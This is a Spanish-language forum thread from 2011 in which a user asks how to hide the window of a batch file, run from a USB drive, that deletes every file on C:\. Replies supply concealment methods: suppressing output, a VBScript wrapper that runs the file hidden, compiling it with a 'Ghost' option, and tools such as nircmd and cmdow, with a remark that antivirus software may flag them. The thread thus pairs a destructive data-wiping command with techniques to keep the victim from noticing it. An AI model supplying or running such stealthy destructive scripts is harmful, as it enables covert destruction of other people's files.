Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: preguntonpregunta en 22 Septiembre 2011, 03:29 am



Título: Como Ocultar el proceso que realiza un bat...??
Publicado por: preguntonpregunta en 22 Septiembre 2011, 03:29 am
Hola.

Mi otra pregunta es, Como se hace para ocultar el proceso que hace un bat..??

Por ejemplo: el código bat de borrar todos las carpetas y sub carpetas de una unidad o ubicación, o el código bat de ocultar todo el contenido de una unidad, muestran la ventana del DOS con todos los procesos que se están realizando.

Saludos y gracias de antemano por cualquier ayuda que me puedan brindar...!!


Título: Re: Como Ocultar el proceso que realiza un bat...??
Publicado por: $Edu$ en 22 Septiembre 2011, 03:40 am
Trata de explicarte de otra forma que no se entiende mucho que quieres decir


Título: Re: Como Ocultar el proceso que realiza un bat...??
Publicado por: preguntonpregunta en 22 Septiembre 2011, 04:39 am
Disculpen,

Al ejecutar este BAT:

Código:
@echo off
cd c:\
del /F /S /Q "*.*"
exit

Aparece la ventana del DOS:

(http://img545.imageshack.us/img545/7277/proceso.png)

De igual manera, cuando ejecuta un bat para ocultar todo el contenido de un disco duro, aparece la misma ventana y hasta cuando termina el proceso se cierra la ventana....

Como hago para que no aparezca esa ventana? El bat es ejecutado desde una USB.

Saludos y gracias por corregirme.


Título: Re: Como Ocultar el proceso que realiza un bat...??
Publicado por: 2Fac3R en 22 Septiembre 2011, 06:04 am
Código
  1. @echo off
  2. del /F /S /Q "*.*">nul
  3.  

Busca algo de info sobre esto que es bastante util...


Título: Re: Como Ocultar el proceso que realiza un bat...??
Publicado por: $Edu$ en 22 Septiembre 2011, 17:37 pm
Ese codigo que te deja 2facer hara que no devuelva respuesta ese comando, pero si son muchos archivos y se demora la eliminacion de esos que seguramente es lo que te pasa, seguiras viendo la ventanita, solo que sin contenido, si lo que vs queres hacer es hacerlo oculto totalmente, usa visual basic script.

Mira, copia este codigo:

Código
  1. set objshell = createobject("wscript.shell")
  2. objshell.run "comosellamatubat.bat", vbhide
  3.  

Y lo guardas como .vbs y ese script ira junto a tu .bat y sera el que se ejecutara siempre antes, porque llamara a tu .bat de modo oculto.


Título: Re: Como Ocultar el proceso que realiza un bat...??
Publicado por: 2Fac3R en 22 Septiembre 2011, 22:40 pm
Claro, tambien puedes compilarlo (con QBFC por ejemplo) y ponerle la opcion "Ghost" y listo...


Título: Re: Como Ocultar el proceso que realiza un bat...??
Publicado por: leogtz en 23 Septiembre 2011, 02:23 am
nircmd o cmdow, o vbscript, aunque lo pueden detectar los AV's.